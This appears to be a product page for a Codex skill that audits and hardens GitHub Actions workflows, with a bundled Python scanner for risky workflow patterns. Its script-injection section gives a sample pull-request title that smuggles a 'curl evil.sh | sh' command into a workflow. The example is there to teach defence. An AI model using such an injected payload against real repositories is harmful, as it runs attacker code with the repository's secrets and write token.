GitHub Actions Security skill for Codex
Read-only tokens, SHA pins, no injected titles. Codex audits .github/workflows with a bundled offline scanner, then sets permissions to nothing by default and grants per job, swaps stored cloud keys for OIDC roles scoped to a branch or environment, pins third-party actions by full commit SHA, and moves github.event fields out of run scripts into env. Fork PR code never shares a job with secrets or a write token.
curl -fsSL codexskills.dev/install.sh \ | sh -s -- github-actions-security Installs to ~/.agents/skills/github-actions-security/ for every project on this machine.
curl -fsSL codexskills.dev/cli.mjs -o codex-skills.mjsnode codex-skills.mjs install github-actions-security The CLI also searches, updates and removes skills. Run it with no arguments to pick from a list. Needs Node 20.12+.
curl -fsSL codexskills.dev/install.sh \ | sh -s -- --project github-actions-security Installs to .agents/skills/github-actions-security/ in the current repository. Commit it and everyone who runs Codex there gets it.
curl -fsSLO codexskills.dev/downloads/github-actions-security.zipunzip -o github-actions-security.zip -d ~/.agents/skills/ The archive holds the skill folder with its generated agents/openai.yaml. Unzip into .agents/skills/ to scope it to a repo.
& ([scriptblock]::Create((irm codexskills.dev/install.ps1))) github-actions-security PowerShell 5.1 or 7. Installs to %USERPROFILE%\.agents\skills\. Add -Project for the current repo.
104-line POSIX script. No sudo, no telemetry. Read install.sh
Use it in Codex
Start a prompt with $github-actions-security, or pick it from /skills.
You can also just describe the task: Codex reads the description below and loads the playbook when your request matches.
What Codex reads before loading it
Hardens GitHub Actions workflows against supply-chain and privilege attacks - least-privilege GITHUB_TOKEN permissions, OIDC federation to AWS, GCP and Azure instead of stored keys, full-SHA action pinning, script injection through github.event fields, pull_request_target and workflow_run traps, cache and artifact poisoning, and self-hosted runner exposure. Use when auditing .github/workflows, replacing long-lived cloud keys in CI, reviewing a workflow that handles fork PRs, or responding to a compromised third-party action.
Use it when
- Reviewing workflows before making a repository public or accepting fork PRs
- CI still uses long-lived cloud keys stored as repository secrets
- A third-party action you depend on was reported compromised
- A workflow uses pull_request_target, workflow_run or issue_comment triggers
Use something else when
- You need to build or restructure CI jobs, matrices and caching: use github-actions-workflows
- The question is where secrets live and how they rotate outside CI: use secrets-management
How to check the result
The audit script and actionlint exit clean, and a fork PR run shows privileged jobs skipped and the OIDC role rejecting tokens from non-matching branches.
The mistake it prevents
Checking out the pull request head inside a pull_request_target job, which runs attacker code with the base repository's secrets and write token.
A hardened workflow runs with a read-only token unless a job proves it needs more, holds no long-lived cloud credentials, references every third-party action by full commit SHA, and never lets text from a pull request, issue or branch name reach a shell. Untrusted code (fork PRs) and privileged context (secrets, write tokens) never meet in the same job.
Inspect first
- List workflows and triggers:
rg -n "^on:|pull_request_target|workflow_run|issue_comment" .github/workflows. - Run the bundled audit (offline, standard library only):
python3 scripts/audit_workflows.py .github/workflows- flags unpinned actions, missingpermissions,${{ github.event.* }}insiderun:, risky triggers that check out PR code,secrets: inherit, andpersist-credentialsleft on. - If available, also run
actionlintandzizmor .github/workflows(zizmor is a dedicated Actions security linter; installing either may need network approval). - Check repo and org settings the YAML cannot show (ask the user or use
gh api): default workflow permissions (should be read), “Allow GitHub Actions to create and approve pull requests” (off unless needed), fork PR approval policy, allowed-actions policy, environment protection rules, and whether self-hosted runners serve public repos. - Read
AGENTS.mdfor the deploy targets and which jobs genuinely publish or push.
Token permissions
Set an empty or read-only default at the top, then grant per job:
permissions: {} # workflow default: nothing
jobs:
test:
permissions:
contents: read
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
- run: npm ci && npm test
release:
needs: test
if: github.ref == 'refs/heads/main'
permissions:
contents: write # create tag and release
id-token: write # OIDC for provenance or cloud auth
runs-on: ubuntu-latest
environment: production
steps: [...]
| Job needs to | Grant |
|---|---|
| Check out code | contents: read |
| Comment on PR | pull-requests: write (and nothing else) |
| Push tags, create releases | contents: write |
| Push images to GHCR | packages: write |
| OIDC to a cloud, npm/PyPI trusted publishing, attestations | id-token: write (+ attestations: write for attestations) |
| Upload SARIF | security-events: write |
Any permission not listed in a job-level permissions block becomes none. Never use
permissions: write-all.
OIDC instead of stored cloud keys
Replace AWS_ACCESS_KEY_ID-style secrets with short-lived federated credentials. The trust
policy is the security boundary: scope it to repo plus branch or environment, never to the
whole org.
- uses: aws-actions/configure-aws-credentials@<sha> # v4
with:
role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-prod
aws-region: eu-west-1
AWS IAM trust policy condition (exact match, not a wildcard on the repo owner):
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:acme/api:environment:production"
}
}
subformats:repo:OWNER/REPO:ref:refs/heads/main,repo:OWNER/REPO:environment:NAME,repo:OWNER/REPO:pull_request. Using the environment form ties cloud access to the environment’s reviewers and branch rules.- GCP:
google-github-actions/authwithworkload_identity_provider; restrict the provider with an attribute condition onassertion.repositoryandassertion.ref. - Azure:
azure/loginwith a federated credential whose subject matches the same format. - After migrating, delete the old static keys in the cloud console and the repo secrets. Ask the user before deleting anything.
Pin actions
- Pin third-party actions to a full 40-character SHA with the version in a comment. Tags are
mutable; the March 2025
tj-actions/changed-filescompromise rewrote tags to exfiltrate secrets from thousands of repos. - Resolve a tag to its SHA:
gh api repos/OWNER/REPO/commits/v4.2.2 --jq .sha(network). - Keep pins fresh with Dependabot (
package-ecosystem: github-actions); it updates SHA pins and the version comment together. - Org admins can restrict allowed actions and require SHA pinning in the Actions policy; recommend it when the user owns the org settings.
- Prefer actions from GitHub, the cloud vendor, or a verified creator. For a small action, a
few lines of
run:script you own beats a dependency. - Docker-based actions referencing
docker://image:tagshould also pin by digest.
Script injection
${{ }} expressions are substituted into the script text before the shell runs. A PR titled
a"; curl evil.sh | sh; echo " executes.
# Vulnerable
- run: echo "Title: ${{ github.event.pull_request.title }}"
# Safe: pass through env, quote the variable
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $PR_TITLE"
Attacker-controlled fields include: issue and PR title and body, comment body,
head_ref, github.head_ref, commit messages, author names and emails, review bodies,
page names in wiki events, and any inputs on workflow_dispatch from users with write
access. The same rule applies to actions/github-script - read from context or env
inside the script, never splice ${{ }} into JavaScript.
Dangerous triggers
| Trigger | Risk | Rule |
|---|---|---|
pull_request from a fork | Runs fork code with read token, no secrets | Safe default for building PRs |
pull_request_target | Runs in base repo context with secrets and write token | Never check out or execute the PR head. Use only for labelling or commenting from trusted metadata |
workflow_run | Privileged follow-up to an untrusted run | Treat downloaded artifacts as untrusted data: never execute them, validate before use |
issue_comment | Any commenter can trigger | Check author_association is OWNER/MEMBER/COLLABORATOR before privileged steps |
If a privileged job must use PR output (for example, post coverage), split it: the
pull_request job uploads a plain data artifact; the workflow_run job downloads it into a
temp directory, parses it as data, and posts the comment.
Caches, artifacts and runners
- Caches written by a PR-triggered run on a fork are scoped to that PR, but caches written
in a privileged run that executed untrusted code can poison
main. Never restore a cache in a release job that untrusted code could have written; release jobs build clean. - Do not upload
.git,.envor the~/.npmrcwritten by setup actions as artifacts. - Self-hosted runners on public repos let any fork PR run code on your machine. Use GitHub-hosted or ephemeral (just-in-time, one job per VM) runners, and never persistent runners with cloud credentials on disk.
secrets: inheriton reusable workflow calls passes every secret; list the ones needed.GITHUB_TOKENcannot be scoped below the job; split jobs so the write-token job runs no third-party build tooling.
Deploy gates
- Put production deploys behind an
environmentwith required reviewers and a deployment branch rule ofmain(or protected tags). Environment secrets are only exposed to jobs that reference that environment. - Do not change repo or org settings, delete secrets, or force-push pin updates yourself; propose the change and wait for the user to confirm.
Responding to a compromised action
- Identify every workflow and repo using it:
gh search code "uses: OWNER/ACTION" --owner ORG(network) - Find runs in the exposure window and read their logs for dumped secrets
- Rotate every secret those jobs could read (see
secrets-management); revoking is the priority, cleanup comes after - Pin to a known-good SHA or remove the action
- Add the audit script or zizmor to CI so drift is caught
Verification
- Re-run
python3 scripts/audit_workflows.py .github/workflows; it exits 0 when no findings remain. actionlintpasses.- Open a test PR from a fork (or ask the user to) and confirm: privileged jobs do not run, no
secret appears in logs, and the OIDC role refuses a token from a non-matching branch
(
aws sts get-caller-identityfails there).
Output template
## Actions security review: <repo>
| Severity | File:line | Finding | Fix |
|---|---|---|---|
| critical | ci.yml:14 | pull_request_target checks out PR head with secrets | split into pull_request + workflow_run |
| high | deploy.yml:30 | static AWS keys | OIDC role scoped to environment:production |
| medium | *.yml | 12 actions pinned to tags | pin SHAs, enable Dependabot |
Settings to change (user action): <list>
Secrets to rotate: <list or none>
Gotchas
permissionsat job level replaces, not merges with, the workflow default.actions/checkoutstores the token in.git/configunlesspersist-credentials: false; any later step or uploaded artifact can read it.- A SHA from a fork of the action repo looks valid; confirm the commit belongs to the upstream repo.
- Masking only hides exact secret strings; base64 or JSON-wrapped secrets print in clear.
What the zip contains
Codex reads bundled files only when a step points to them. Every one is shown here, so you can review it before installing.
agents/openai.yaml
Gives the Codex app a display name, a one-line description and a starter prompt for this skill.
interface:
display_name: "GitHub Actions Security"
short_description: "Read-only tokens, SHA pins, no injected titles"
default_prompt: "$github-actions-security Audit our GitHub workflows for security problems before we open-source the repo" scripts/audit_workflows.py
#!/usr/bin/env python3
"""Line-based security audit of GitHub Actions workflow files.
Usage: python3 audit_workflows.py [.github/workflows]
Standard library only, no YAML parser: findings are heuristics with file:line so a
human can confirm them. Exits 1 when any finding is reported, 0 when clean.
"""
import re
import sys
from pathlib import Path
SHA_RE = re.compile(r"@[0-9a-f]{40}\b")
USES_RE = re.compile(r"^\s*-?\s*uses:\s*['\"]?([^'\"\s#]+)")
UNTRUSTED = re.compile(
r"\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|review_comment|discussion|"
r"head_commit|commits|pages)\b[^}]*|head_ref)\s*\}\}"
)
RISKY_TRIGGERS = ("pull_request_target", "workflow_run")
def audit(path: Path):
findings = []
lines = path.read_text(encoding="utf-8", errors="replace").splitlines()
text = "\n".join(lines)
has_top_permissions = any(re.match(r"^permissions\s*:", ln) for ln in lines)
triggers_risky = [t for t in RISKY_TRIGGERS if re.search(rf"^\s*{t}\s*:|^on:.*\b{t}\b|^\s*-\s*{t}\s*$", text, re.M)]
if not has_top_permissions:
findings.append((1, "medium", "no top-level permissions block; token gets repo default"))
in_run = False
run_indent = 0
for i, line in enumerate(lines, 1):
stripped = line.strip()
if stripped.startswith("#"):
continue
m = USES_RE.match(line)
if m:
ref = m.group(1)
if ref.startswith("./") or ref.startswith("docker://"):
if ref.startswith("docker://") and "@sha256:" not in ref:
findings.append((i, "medium", f"docker action not pinned by digest: {ref}"))
elif not SHA_RE.search(ref):
sev = "low" if ref.startswith(("actions/", "github/")) else "high"
findings.append((i, sev, f"action not pinned to full SHA: {ref}"))
if re.match(r"^\s*-?\s*run:\s*", line):
in_run = True
run_indent = len(line) - len(line.lstrip())
body = line.split("run:", 1)[1]
if UNTRUSTED.search(body):
findings.append((i, "critical", "untrusted github.event field expanded inside run"))
continue
if in_run:
indent = len(line) - len(line.lstrip())
if stripped and indent <= run_indent:
in_run = False
elif UNTRUSTED.search(line):
findings.append((i, "critical", "untrusted github.event field expanded inside run"))
if re.search(r"secrets:\s*inherit", line):
findings.append((i, "medium", "secrets: inherit passes every secret to the called workflow"))
if re.search(r"permissions:\s*write-all", line):
findings.append((i, "high", "permissions: write-all"))
if triggers_risky and re.search(r"ref:\s*\$\{\{\s*github\.event\.pull_request\.head\.(sha|ref)", line):
findings.append((i, "critical", f"{'/'.join(triggers_risky)} workflow checks out PR head code"))
if "actions/checkout" in line and "persist-credentials: false" not in "\n".join(lines[i:i + 6]):
findings.append((i, "low", "actions/checkout without persist-credentials: false"))
return findings
def main():
root = Path(sys.argv[1] if len(sys.argv) > 1 else ".github/workflows")
if not root.exists():
print(f"error: {root} does not exist", file=sys.stderr)
return 2
files = sorted([root] if root.is_file() else list(root.glob("*.yml")) + list(root.glob("*.yaml")))
total = 0
order = {"critical": 0, "high": 1, "medium": 2, "low": 3}
for f in files:
for line, sev, msg in sorted(audit(f), key=lambda x: (order[x[1]], x[0])):
print(f"{sev:8} {f}:{line} {msg}")
total += 1
print(f"\n{len(files)} workflow file(s) scanned, {total} finding(s)")
return 1 if total else 0
if __name__ == "__main__":
sys.exit(main())
About this skill
Written and maintained by the Codex Skills editors to the same editorial standard as every skill here: a selective description, a real workflow, known pitfalls and a way to verify the work. First published , last updated . MIT licensed. Something wrong or out of date? Tell us.